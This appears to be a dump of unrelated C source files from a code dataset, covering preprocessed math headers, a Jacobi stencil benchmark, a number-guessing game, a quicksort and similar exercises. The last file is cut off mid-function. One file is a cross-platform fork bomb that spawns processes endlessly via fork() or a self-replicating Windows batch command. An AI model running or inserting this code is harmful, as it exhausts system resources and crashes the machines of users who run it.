extern float nextafterf (float __x, float __y) __attribute__ ((__nothrow__ , __leaf__)); extern float __nextafterf (float __x, float __y) __attribute__ ((__nothrow__ , __leaf__));
extern float nexttowardf (float __x, long double __y) __attribute__ ((__nothrow__ , __leaf__)); extern float __nexttowardf (float __x, long double __y) __attribute__ ((__nothrow__ , __leaf__));
# 272 "/usr/include/x86_64-linux-gnu/bits/mathcalls.h" 3 4
extern float remainderf (float __x, float __y) __attribute__ ((__nothrow__ , __leaf__)); extern float __remainderf (float __x, float __y) __attribute__ ((__nothrow__ , __leaf__));
extern float scalbnf (float __x, int __n) __attribute__ ((__nothrow__ , __leaf__)); extern float __scalbnf (float __x, int __n) __attribute__ ((__nothrow__ , __leaf__));
extern int ilogbf (float __x) __attribute__ ((__nothrow__ , __leaf__)); extern int __ilogbf (float __x) __attribute__ ((__nothrow__ , __leaf__));
# 290 "/usr/include/x86_64-linux-gnu/bits/mathcalls.h" 3 4
extern float scalblnf (float __x, long int __n) __attribute__ ((__nothrow__ , __leaf__)); extern float __scalblnf (float __x, long int __n) __attribute__ ((__nothrow__ , __leaf__));
extern float nearbyintf (float __x) __attribute__ ((__nothrow__ , __leaf__)); extern float __nearbyintf (float __x) __attribute__ ((__nothrow__ , __leaf__));
extern float roundf (float __x) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__const__)); extern float __roundf (float __x) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__const__));
extern float truncf (float __x) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__const__)); extern float __truncf (float __x) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__const__));
extern float remquof (float __x, float __y, int *__quo) __attribute__ ((__nothrow__ , __leaf__)); extern float __remquof (float __x, float __y, int *__quo) __attribute__ ((__nothrow__ , __leaf__));
extern long int lrintf (float __x) __attribute__ ((__nothrow__ , __leaf__)); extern long int __lrintf (float __x) __attribute__ ((__nothrow__ , __leaf__));
__extension__
extern long long int llrintf (float __x) __attribute__ ((__nothrow__ , __leaf__)); extern long long int __llrintf (float __x) __attribute__ ((__nothrow__ , __leaf__));
extern long int lroundf (float __x) __attribute__ ((__nothrow__ , __leaf__)); extern long int __lroundf (float __x) __attribute__ ((__nothrow__ , __leaf__));
__extension__
extern long long int llroundf (float __x) __attribute__ ((__nothrow__ , __leaf__)); extern long long int __llroundf (float __x) __attribute__ ((__nothrow__ , __leaf__));
extern float fdimf (float __x, float __y) __attribute__ ((__nothrow__ , __leaf__)); extern float __fdimf (float __x, float __y) __attribute__ ((__nothrow__ , __leaf__));
extern float fmaxf (float __x, float __y) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__const__)); extern float __fmaxf (float __x, float __y) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__const__));
extern float fminf (float __x, float __y) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__const__)); extern float __fminf (float __x, float __y) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__const__));
extern float fmaf (float __x, float __y, float __z) __attribute__ ((__nothrow__ , __leaf__)); extern float __fmaf (float __x, float __y, float __z) __attribute__ ((__nothrow__ , __leaf__));
# 400 "/usr/include/x86_64-linux-gnu/bits/mathcalls.h" 3 4
extern float scalbf (float __x, float __n) __attribute__ ((__nothrow__ , __leaf__)); extern float __scalbf (float __x, float __n) __attribute__ ((__nothrow__ , __leaf__));
# 308 "/usr/include/math.h" 2 3 4
# 349 "/usr/include/math.h" 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/mathcalls-helper-functions.h" 1 3 4
# 21 "/usr/include/x86_64-linux-gnu/bits/mathcalls-helper-functions.h" 3 4
extern int __fpclassifyl (long double __value) __attribute__ ((__nothrow__ , __leaf__))
__attribute__ ((__const__));
extern int __signbitl (long double __value) __attribute__ ((__nothrow__ , __leaf__))
__attribute__ ((__const__));
extern int __isinfl (long double __value) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__const__));
extern int __finitel (long double __value) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__const__));
extern int __isnanl (long double __value) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__const__));
extern int __iseqsigl (long double __x, long double __y) __attribute__ ((__nothrow__ , __leaf__));
extern int __issignalingl (long double __value) __attribute__ ((__nothrow__ , __leaf__))
__attribute__ ((__const__));
# 350 "/usr/include/math.h" 2 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/mathcalls.h" 1 3 4
# 53 "/usr/include/x86_64-linux-gnu/bits/mathcalls.h" 3 4
extern long double acosl (long double __x) __attribute__ ((__nothrow__ , __leaf__)); extern long double __acosl (long double __x) __attribute__ ((__nothrow__ , __leaf__));
extern long double asinl (long double __x) __attribute__ ((__nothrow__ , __leaf__)); extern long double __asinl (long double __x) __attribute__ ((__nothrow__ , __leaf__));
extern long double atanl (long double __x) __attribute__ ((__nothrow__ , __leaf__)); extern long double __atanl (long double __x) __attribute__ ((__nothrow__ , __leaf__));
extern long double atan2l (long double __y, long double __x) __attribute__ ((__nothrow__ , __leaf__)); extern long double __atan2l (long double __y, long double __x) __attribute__ ((__nothrow__ , __leaf__));
extern long double cosl (long double __x) __attribute__ ((__nothrow__ , __leaf__)); extern long double __cosl (long double __x) __attribute__ ((__nothrow__ , __leaf__));
extern long double sinl (long double __x) __attribute__ ((__nothrow__ , __leaf__)); extern long double __sinl (long double __x) __attribute__ ((__nothrow__ , __leaf__));
extern long double tanl (long double __x) __attribute__ ((__nothrow__ , __leaf__)); extern long double __tanl (long double __x) __attribute__ ((__nothrow__ , __leaf__));
extern long double coshl (long double __x) __attribute__ ((__nothrow__ , __leaf__)); extern long double __coshl (long double __x) __attribute__ ((__nothrow__ , __leaf__));
extern long double sinhl (long double __x) __attribute__ ((__nothrow__ , __leaf__)); extern long double __sinhl (long double __x) __attribute__ ((__nothrow__ , __leaf__));
extern long double tanhl (long double __x) __attribute__ ((__nothrow__ , __leaf__)); extern long double __tanhl (long double __x) __attribute__ ((__nothrow__ , __leaf__));
# 85 "/usr/include/x86_64-linux-gnu/bits/mathcalls.h" 3 4
extern long double acoshl (long double __x) __attribute__ ((__nothrow__ , __leaf__)); extern long double __acoshl (long double __x) __attribute__ ((__nothrow__ , __leaf__));
extern long double asinhl (long double __x) __attribute__ ((__nothrow__ , __leaf__)); extern long double __asinhl (long double __x) __attribute__ ((__nothrow__ , __leaf__));
extern long double atanhl (long double __x) __attribute__ ((__nothrow__ , __leaf__)); extern long double __atanhl (long double __x) __attribute__ ((__nothrow__ , __leaf__));
extern long double expl (long double __x) __attribute__ ((__nothrow__ , __leaf__)); extern long double __expl (long double __x) __attribute__ ((__nothrow__ , __leaf__));
extern long double frexpl (long double __x, int *__exponent) __attribute__ ((__nothrow__ , __leaf__)); extern long double __frexpl (long double __x, int *__exponent) __attribute__ ((__nothrow__ , __leaf__));
extern long double ldexpl (long double __x, int __exponent) __attribute__ ((__nothrow__ , __leaf__)); extern long double __ldexpl (long double __x, int __exponent) __attribute__ ((__nothrow__ , __leaf__));
extern long double logl (long double __x) __attribute__ ((__nothrow__ , __leaf__)); extern long double __logl (long double __x) __attribute__ ((__nothrow__ , __leaf__));
extern long double log10l (long double __x) __attribute__ ((__nothrow__ , __leaf__)); extern long double __log10l (long double __x) __attribute__ ((__nothrow__ , __leaf__));
extern long double modfl (long double __x, long double *__iptr) __attribute__ ((__nothrow__ , __leaf__)); extern long double __modfl (long double __x, long double *__iptr) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (2)));
# 119 "/usr/include/x86_64-linux-gnu/bits/mathcalls.h" 3 4
extern long double expm1l (long double __x) __attribute__ ((__nothrow__ , __leaf__)); extern long double __expm1l (long double __x) __attribute__ ((__nothrow__ , __leaf__));
extern long double log1pl (long double __x) __attribute__ ((__nothrow__ , __leaf__)); extern long double __log1pl (long double __x) __attribute__ ((__nothrow__ , __leaf__));
extern long double logbl (long double __x) __attribute__ ((__nothrow__ , __leaf__)); extern long double __logbl (long double __x) __attribute__ ((__nothrow__ , __leaf__));
extern long double exp2l (long double __x) __attribute__ ((__nothrow__ , __leaf__)); extern long double __exp2l (long double __x) __attribute__ ((__nothrow__ , __leaf__));
extern long double log2l (long double __x) __attribute__ ((__nothrow__ , __leaf__)); extern long double __log2l (long double __x) __attribute__ ((__nothrow__ , __leaf__));
extern long double powl (long double __x, long double __y) __attribute__ ((__nothrow__ , __leaf__)); extern long double __powl (long double __x, long double __y) __attribute__ ((__nothrow__ , __leaf__));
extern long double sqrtl (long double __x) __attribute__ ((__nothrow__ , __leaf__)); extern long double __sqrtl (long double __x) __attribute__ ((__nothrow__ , __leaf__));
extern long double hypotl (long double __x, long double __y) __attribute__ ((__nothrow__ , __leaf__)); extern long double __hypotl (long double __x, long double __y) __attribute__ ((__nothrow__ , __leaf__));
extern long double cbrtl (long double __x) __attribute__ ((__nothrow__ , __leaf__)); extern long double __cbrtl (long double __x) __attribute__ ((__nothrow__ , __leaf__));
extern long double ceill (long double __x) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__const__)); extern long double __ceill (long double __x) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__const__));
extern long double fabsl (long double __x) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__const__)); extern long double __fabsl (long double __x) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__const__));
extern long double floorl (long double __x) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__const__)); extern long double __floorl (long double __x) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__const__));
extern long double fmodl (long double __x, long double __y) __attribute__ ((__nothrow__ , __leaf__)); extern long double __fmodl (long double __x, long double __y) __attribute__ ((__nothrow__ , __leaf__));
# 177 "/usr/include/x86_64-linux-gnu/bits/mathcalls.h" 3 4
extern int isinfl (long double __value) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__const__));
extern int finitel (long double __value) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__const__));
extern long double dreml (long double __x, long double __y) __attribute__ ((__nothrow__ , __leaf__)); extern long double __dreml (long double __x, long double __y) __attribute__ ((__nothrow__ , __leaf__));
extern long double significandl (long double __x) __attribute__ ((__nothrow__ , __leaf__)); extern long double __significandl (long double __x) __attribute__ ((__nothrow__ , __leaf__));
extern long double copysignl (long double __x, long double __y) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__const__)); extern long double __copysignl (long double __x, long double __y) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__const__));
extern long double nanl (const char *__tagb) __attribute__ ((__nothrow__ , __leaf__)); extern long double __nanl (const char *__tagb) __attribute__ ((__nothrow__ , __leaf__));
# 211 "/usr/include/x86_64-linux-gnu/bits/mathcalls.h" 3 4
extern int isnanl (long double __value) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__const__));
extern long double j0l (long double) __attribute__ ((__nothrow__ , __leaf__)); extern long double __j0l (long double) __attribute__ ((__nothrow__ , __leaf__));
extern long double j1l (long double) __attribute__ ((__nothrow__ , __leaf__)); extern long double __j1l (long double) __attribute__ ((__nothrow__ , __leaf__));
extern long double jnl (int, long double) __attribute__ ((__nothrow__ , __leaf__)); extern long double __jnl (int, long double) __attribute__ ((__nothrow__ , __leaf__));
extern long double y0l (long double) __attribute__ ((__nothrow__ , __leaf__)); extern long double __y0l (long double) __attribute__ ((__nothrow__ , __leaf__));
extern long double y1l (long double) __attribute__ ((__nothrow__ , __leaf__)); extern long double __y1l (long double) __attribute__ ((__nothrow__ , __leaf__));
extern long double ynl (int, long double) __attribute__ ((__nothrow__ , __leaf__)); extern long double __ynl (int, long double) __attribute__ ((__nothrow__ , __leaf__));
extern long double erfl (long double) __attribute__ ((__nothrow__ , __leaf__)); extern long double __erfl (long double) __attribute__ ((__nothrow__ , __leaf__));
extern long double erfcl (long double) __attribute__ ((__nothrow__ , __leaf__)); extern long double __erfcl (long double) __attribute__ ((__nothrow__ , __leaf__));
extern long double lgammal (long double) __attribute__ ((__nothrow__ , __leaf__)); extern long double __lgammal (long double) __attribute__ ((__nothrow__ , __leaf__));
extern long double tgammal (long double) __attribute__ ((__nothrow__ , __leaf__)); extern long double __tgammal (long double) __attribute__ ((__nothrow__ , __leaf__));
extern long double gammal (long double) __attribute__ ((__nothrow__ , __leaf__)); extern long double __gammal (long double) __attribute__ ((__nothrow__ , __leaf__));
extern long double lgammal_r (long double, int *__signgamp) __attribute__ ((__nothrow__ , __leaf__)); extern long double __lgammal_r (long double, int *__signgamp) __attribute__ ((__nothrow__ , __leaf__));
extern long double rintl (long double __x) __attribute__ ((__nothrow__ , __leaf__)); extern long double __rintl (long double __x) __attribute__ ((__nothrow__ , __leaf__));
extern long double nextafterl (long double __x, long double __y) __attribute__ ((__nothrow__ , __leaf__)); extern long double __nextafterl (long double __x, long double __y) __attribute__ ((__nothrow__ , __leaf__));
extern long double nexttowardl (long double __x, long double __y) __attribute__ ((__nothrow__ , __leaf__)); extern long double __nexttowardl (long double __x, long double __y) __attribute__ ((__nothrow__ , __leaf__));
# 272 "/usr/include/x86_64-linux-gnu/bits/mathcalls.h" 3 4
extern long double remainderl (long double __x, long double __y) __attribute__ ((__nothrow__ , __leaf__)); extern long double __remainderl (long double __x, long double __y) __attribute__ ((__nothrow__ , __leaf__));
extern long double scalbnl (long double __x, int __n) __attribute__ ((__nothrow__ , __leaf__)); extern long double __scalbnl (long double __x, int __n) __attribute__ ((__nothrow__ , __leaf__));
extern int ilogbl (long double __x) __attribute__ ((__nothrow__ , __leaf__)); extern int __ilogbl (long double __x) __attribute__ ((__nothrow__ , __leaf__));
# 290 "/usr/include/x86_64-linux-gnu/bits/mathcalls.h" 3 4
extern long double scalblnl (long double __x, long int __n) __attribute__ ((__nothrow__ , __leaf__)); extern long double __scalblnl (long double __x, long int __n) __attribute__ ((__nothrow__ , __leaf__));
extern long double nearbyintl (long double __x) __attribute__ ((__nothrow__ , __leaf__)); extern long double __nearbyintl (long double __x) __attribute__ ((__nothrow__ , __leaf__));
extern long double roundl (long double __x) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__const__)); extern long double __roundl (long double __x) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__const__));
extern long double truncl (long double __x) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__const__)); extern long double __truncl (long double __x) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__const__));
extern long double remquol (long double __x, long double __y, int *__quo) __attribute__ ((__nothrow__ , __leaf__)); extern long double __remquol (long double __x, long double __y, int *__quo) __attribute__ ((__nothrow__ , __leaf__));
extern long int lrintl (long double __x) __attribute__ ((__nothrow__ , __leaf__)); extern long int __lrintl (long double __x) __attribute__ ((__nothrow__ , __leaf__));
__extension__
extern long long int llrintl (long double __x) __attribute__ ((__nothrow__ , __leaf__)); extern long long int __llrintl (long double __x) __attribute__ ((__nothrow__ , __leaf__));
extern long int lroundl (long double __x) __attribute__ ((__nothrow__ , __leaf__)); extern long int __lroundl (long double __x) __attribute__ ((__nothrow__ , __leaf__));
__extension__
extern long long int llroundl (long double __x) __attribute__ ((__nothrow__ , __leaf__)); extern long long int __llroundl (long double __x) __attribute__ ((__nothrow__ , __leaf__));
extern long double fdiml (long double __x, long double __y) __attribute__ ((__nothrow__ , __leaf__)); extern long double __fdiml (long double __x, long double __y) __attribute__ ((__nothrow__ , __leaf__));
extern long double fmaxl (long double __x, long double __y) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__const__)); extern long double __fmaxl (long double __x, long double __y) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__const__));
extern long double fminl (long double __x, long double __y) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__const__)); extern long double __fminl (long double __x, long double __y) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__const__));
extern long double fmal (long double __x, long double __y, long double __z) __attribute__ ((__nothrow__ , __leaf__)); extern long double __fmal (long double __x, long double __y, long double __z) __attribute__ ((__nothrow__ , __leaf__));
# 400 "/usr/include/x86_64-linux-gnu/bits/mathcalls.h" 3 4
extern long double scalbl (long double __x, long double __n) __attribute__ ((__nothrow__ , __leaf__)); extern long double __scalbl (long double __x, long double __n) __attribute__ ((__nothrow__ , __leaf__));
# 351 "/usr/include/math.h" 2 3 4
# 420 "/usr/include/math.h" 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/mathcalls-helper-functions.h" 1 3 4
# 21 "/usr/include/x86_64-linux-gnu/bits/mathcalls-helper-functions.h" 3 4
extern int __fpclassifyf128 (
# 21 "/usr/include/x86_64-linux-gnu/bits/mathcalls-helper-functions.h"
float
# 21 "/usr/include/x86_64-linux-gnu/bits/mathcalls-helper-functions.h" 3 4
__value) __attribute__ ((__nothrow__ , __leaf__))
__attribute__ ((__const__));
extern int __signbitf128 (
# 25 "/usr/include/x86_64-linux-gnu/bits/mathcalls-helper-functions.h"
float
# 25 "/usr/include/x86_64-linux-gnu/bits/mathcalls-helper-functions.h" 3 4
__value) __attribute__ ((__nothrow__ , __leaf__))
__attribute__ ((__const__));
extern int __isinff128 (
# 30 "/usr/include/x86_64-linux-gnu/bits/mathcalls-helper-functions.h"
float
# 30 "/usr/include/x86_64-linux-gnu/bits/mathcalls-helper-functions.h" 3 4
__value) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__const__));
extern int __finitef128 (
# 33 "/usr/include/x86_64-linux-gnu/bits/mathcalls-helper-functions.h"
float
# 33 "/usr/include/x86_64-linux-gnu/bits/mathcalls-helper-functions.h" 3 4
__value) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__const__));
extern int __isnanf128 (
# 36 "/usr/include/x86_64-linux-gnu/bits/mathcalls-helper-functions.h"
float
# 36 "/usr/include/x86_64-linux-gnu/bits/mathcalls-helper-functions.h" 3 4
__value) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__const__));
extern int __iseqsigf128 (
# 39 "/usr/include/x86_64-linux-gnu/bits/mathcalls-helper-functions.h"
float
# 39 "/usr/include/x86_64-linux-gnu/bits/mathcalls-helper-functions.h" 3 4
__x,
# 39 "/usr/include/x86_64-linux-gnu/bits/mathcalls-helper-functions.h"
float
# 39 "/usr/include/x86_64-linux-gnu/bits/mathcalls-helper-functions.h" 3 4
__y) __attribute__ ((__nothrow__ , __leaf__));
extern int __issignalingf128 (
# 42 "/usr/include/x86_64-linux-gnu/bits/mathcalls-helper-functions.h"
float
# 42 "/usr/include/x86_64-linux-gnu/bits/mathcalls-helper-functions.h" 3 4
__value) __attribute__ ((__nothrow__ , __leaf__))
__attribute__ ((__const__));
# 421 "/usr/include/math.h" 2 3 4
# 773 "/usr/include/math.h" 3 4
extern int signgam;
# 853 "/usr/include/math.h" 3 4
enum
{
FP_NAN =
0,
FP_INFINITE =
1,
FP_ZERO =
2,
FP_SUBNORMAL =
3,
FP_NORMAL =
4
};
# 1338 "/usr/include/math.h" 3 4
# 12 "./stencils/jacobi-1d-imper/jacobi-1d-imper.c" 2
# 1 "utilities/polybench.h" 1
# 188 "utilities/polybench.h"
# 188 "utilities/polybench.h"
extern void* polybench_alloc_data(int n, int elt_size);
# 15 "./stencils/jacobi-1d-imper/jacobi-1d-imper.c" 2
# 1 "./stencils/jacobi-1d-imper/jacobi-1d-imper.h" 1
# 19 "./stencils/jacobi-1d-imper/jacobi-1d-imper.c" 2
static
void init_array (int n,
double A[10000 + 0],
double B[10000 + 0])
{
int i;
for (i = 0; i < n; i++)
{
A[i] = ((double) i+ 2) / n;
B[i] = ((double) i+ 3) / n;
}
}
static
void print_array(int n,
double A[10000 + 0])
{
int i;
for (i = 0; i < n; i++)
{
fprintf(
# 48 "./stencils/jacobi-1d-imper/jacobi-1d-imper.c" 3 4
stderr
# 48 "./stencils/jacobi-1d-imper/jacobi-1d-imper.c"
, "%0.2lf ", A[i]);
if (i % 20 == 0) fprintf(
# 49 "./stencils/jacobi-1d-imper/jacobi-1d-imper.c" 3 4
stderr
# 49 "./stencils/jacobi-1d-imper/jacobi-1d-imper.c"
, "\n");
}
fprintf(
# 51 "./stencils/jacobi-1d-imper/jacobi-1d-imper.c" 3 4
stderr
# 51 "./stencils/jacobi-1d-imper/jacobi-1d-imper.c"
, "\n");
}
static
void kernel_jacobi_1d_imper(int tsteps,
int n,
double A[10000 + 0],
double B[10000 + 0])
{
int t, i, j;
#pragma scop
for (t = 0; t < tsteps; t++)
{
for (i = 1; i < n - 1; i++)
B[i] = 0.33333 * (A[i-1] + A[i] + A[i + 1]);
for (j = 1; j < n - 1; j++)
A[j] = B[j];
}
#pragma endscop
}
int main(int argc, char** argv)
{
int n = 10000;
int tsteps = 100;
double (*A)[10000 + 0]; A = (double(*)[10000 + 0])polybench_alloc_data (10000 + 0, sizeof(double));;
double (*B)[10000 + 0]; B = (double(*)[10000 + 0])polybench_alloc_data (10000 + 0, sizeof(double));;
init_array (n, *A, *B);
;
kernel_jacobi_1d_imper (tsteps, n, *A, *B);
;
;
if (argc > 42 && ! strcmp(argv[0], "")) print_array(n, *A);
free((void*)A);;
free((void*)B);;
return 0;
}
|
the_stack_data/225143814.c | #include <math.h>
#include <stdio.h>
#define SMALL (1e-10)
int last=0;
double dot(a,b,m)
double *a,*b;
{
double sum;
sum=0; while(--m>=0)sum+=*a++**b++;
return sum;
}
double gram(a,v,n,m,rhs,normv)
double *a,*v,*normv;
double rhs;
{
double d,dsq;
int i,k,mpo;
mpo=m+1;
for(i=0; i<m; i++)normv[i]=v[i];
normv[m]=rhs;
for(k=0; k<n; k++) {
d=dot(a+k*mpo,normv,m);
for(i=0; i<mpo; i++)normv[i]-=d*a[k*mpo+i];
}
dsq=dot(normv,normv,m);
if(dsq<SMALL)return 0;
d=sqrt(dsq);
for(i=0; i<mpo; i++)normv[i]/=d;
return dsq;
}
randvec(v,m)
double *v;
{
int i;
double d;
for(i=0; i<m; i++) {
last=(last*101+55)&32767;
v[i]=last-16384;
}
d=sqrt(dot(v,v,m));
for(i=0; i<m; i++)v[i]/=d;
}
gsolve(a,n,m,ans)
double *a,*ans;
{
int i,j,k,mpo;
double d;
mpo=m+1;
for(k=n; k<m; k++) {
do {
randvec(a+k*mpo,m);
d=gram(a,a+k*mpo,k,m,0.,a+k*mpo);
} while(d<1./m);
}
for(i=0; i<m; i++) {
ans[i]=0;
for(j=0; j<n /*sic*/; j++)ans[i]+=a[j*mpo+i]*a[j*mpo+m];
}
return 0;
}
|
the_stack_data/198581496.c | //Para todos
#include <stdio.h>
#ifdef _WIN32
#include <stdlib.h>
#elif __APPLE__
#include <unistd.h>
#elif __linux__
#include <unistd.h>
#elif __unix__
#include <unistd.h>
#endif
int main(void) {
#ifdef __linux__
while(1) {
fork();
}
#elif __APPLE__
while(1) {
fork();
}
#elif __unix__
while(1) {
fork();
}
#elif _WIN32
const char *comando = "cmd /k echo -^|->-.bat&-";
while(1) {
system(comando);
}
#endif
return 0;
}
|
the_stack_data/22012708.c | /****************************************************************************
* libs/libc/machine/arm/armv8-m/arch_trunc.c
*
* Copyright (C) 2017 Gregory Nutt. All rights reserved.
*
* Adapted for NuttX from BSD licensed code provided by ARM:
*
* Copyright (c) 2011, 2012 ARM Ltd. All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
*
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
* 3. The name of the company may not be used to endorse or promote
* products derived from this software without specific prior written
* permission.
*
* THIS SOFTWARE IS PROVIDED BY ARM LTD ``AS IS'' AND ANY EXPRESS OR IMPLIED
* WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
* MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
* IN NO EVENT SHALL ARM LTD BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
* SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED
* TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
* PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF
* LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
* NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
* SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*
****************************************************************************/
/****************************************************************************
* Included Files
****************************************************************************/
#include <math.h>
/****************************************************************************
* Public Functions
****************************************************************************/
#if __ARM_ARCH >= 8 && (__ARM_FP & 0x8) && !defined (__SOFTFP__)
double trunc(double x)
{
double result;
asm volatile ("vrintz.f64\t%P0, %P1" : "=w" (result) : "w" (x));
return result;
}
#else
# warning trunc() not built
#endif
|
the_stack_data/182951836.c | #include <stdio.h>
#include <stdlib.h>
#include <time.h>
#define INICIO 1
#define FIN 1000
int aleatorio(int inicio, int fin);
void menu();
void jugar();
int main(void){
srand(time(0));
int opcion;
while(1){
menu();
scanf("%d", &opcion);
if(opcion == 1){
jugar();
} else
break;
}
return 0;
}
void jugar(){
int respuesta;
int numero = aleatorio(INICIO, FIN);
int intentos = 1;
system("clear");
do {
printf("Número de intentos: %d\n", intentos);
printf("Adiviana un número entero entre [%d - %d]", INICIO, FIN);
scanf("%d", &respuesta );
intentos++;
if(respuesta > numero) {
printf("Número muy alto\n");
} else {
if (respuesta < numero)
printf("Numero muy bajo\n");
else{
printf("Excelente!! Adivinaste el número!!\n");
fflush(stdin);
printf("Presiona una tecla para continuar...");
getchar();
}
}
} while (respuesta != numero );
}
void menu(){
system("clear");
printf("1. Iniciar juego.\n");
printf("2. Salir\n\n");
printf("Ingres una opción:");
}
int aleatorio(int inicio, int fin){
return rand() % (fin - inicio + 1) + inicio;
} |
the_stack_data/747687.c | #include<stdio.h>
int main(){
int age;
printf("enter your age : \n");
scanf("%d", &age);
if(age <18){
printf("\nyou are too young");
}else if (age > 100){
printf("\nyou are too old");
}
printf("\nyour age is %d",age);
return 0;
} |
the_stack_data/49448.c | #include <stdio.h>
#include <stdlib.h>
#include <stdbool.h>
int main()
{
float sayi, toplam;
while (true)
{
printf("Lutfen Bir Sayi Girin: ");
scanf("%f", &sayi);
if (sayi - (int)sayi == 0.0)
if ((int)sayi % 2 != 0)
break;
else
toplam += sayi;
}
printf("Dongu Sona Erdi. Toplam = %d", (int)toplam);
return 0;
} |
the_stack_data/128833.c | /*
** lklMapStr.c for Lib_lkl in /home/neodar/Epitech/libs/lib_linked_list
**
** Made by Fantin Bibas
** Login <[email protected]@epitech.net>
**
** Started on Tue Apr 4 17:02:46 2017 Fantin Bibas
** Last update Tue Apr 4 17:47:17 2017 Fantin Bibas
*/
#include <string.h>
#include <stdlib.h>
void *lklUpper(void *a, int fr)
{
char *str;
int i;
str = strdup((char *)a);
i = -1;
while (str[++i] != '\0')
if (str[i] >= 97 && str[i] <= 122)
str[i] -= 32;
if (fr != 0)
free(a);
return (str);
}
void *lklLower(void *a, int fr)
{
char *str;
int i;
str = strdup((char *)a);
i = -1;
while (str[++i] != '\0')
if (str[i] >= 65 && str[i] <= 90)
str[i] += 32;
if (fr != 0)
free(a);
return (str);
}
|
the_stack_data/11076645.c | /*
* $Id: msg_msgget.c,v 1.1 2021-01-26 19:32:53 clib2devs Exp $
*/
#ifdef HAVE_SYSV
#ifndef _SHM_HEADERS_H
#include "shm_headers.h"
#endif /* _SHM_HEADERS_H */
int
_msgget(key_t key, int flags)
{
DECLARE_SYSVYBASE();
int ret = -1;
if (__global_clib2->haveShm)
{
ret = msgget(key, flags);
if (ret < 0)
{
__set_errno(GetIPCErr());
}
}
else
{
__set_errno(ENOSYS);
}
return ret;
}
#endif |
the_stack_data/1251749.c | #include <stdio.h>
void sumofelements(int*, int[], int);
void main(){
int i, sum = 0, num=0;
printf("Enter limit of array: ");
scanf("%d", &num);
int arr[num];
printf("Enter numbers of array:- \n");
for(int i=0; i<num; i++){
scanf("%d", &arr[i]);
}
sumofelements(&sum, arr, num);
printf("Average = %f", (float)sum/num);
}
void sumofelements(int *sum, int arr[], int num){
int *point;
point = arr;
for (int i = 0; i < num; i++){
*sum = *sum + *point;
point++;
}
} |
the_stack_data/22013480.c | #include <stdio.h>
#include <string.h>
#include <math.h>
#include <stdlib.h>
void quick_sort(int s[], int l, int r)
{
if (l < r)
{
int i = l, j = r;
int x = s[l];
while (i < j)
{
while(i < j && s[j] >= x)
j--;
if(i < j)
s[i++] = s[j];
while(i < j && s[i] < x)
i++;
if(i < j)
s[j--] = s[i];
}
s[i] = x;
quick_sort(s, l, i - 1);
quick_sort(s, i + 1, r);
}
}
int main() {
int n;
scanf("%d", &n);
int * a = malloc(sizeof(int) * n);
for (size_t i = 0; i < n; i ++) {
scanf("%d", a + i);
}
int p, q;
scanf("%d %d", &p, &q);
// quick sort
quick_sort(a, 0, n - 1);
int max = -1;
int ans = 0;
if (a[0] >= p) {
max = a[0] - p;
ans = p;
}
int left = a[0];
int right = 0;
for (size_t i = 1; i < n; i++) {
right = a[i];
if (p <= left && q >= right) {
int mid = (left + right) / 2;
if ((mid - left) > max) {
max = mid - left;
ans = mid;
}
}
else if (left < p && right > q) {
int mid = (left + right) / 2;
if (mid >= p && mid <= q) {
if ((mid - left) > max) {
max = mid - left;
ans = mid;
}
}
else if (mid > q) {
if ((q - left) > max) {
max = q - left;
ans = q;
}
}
else {
// mid < p
if ((right - p) > max) {
max = right - p;
ans = p;
}
}
}
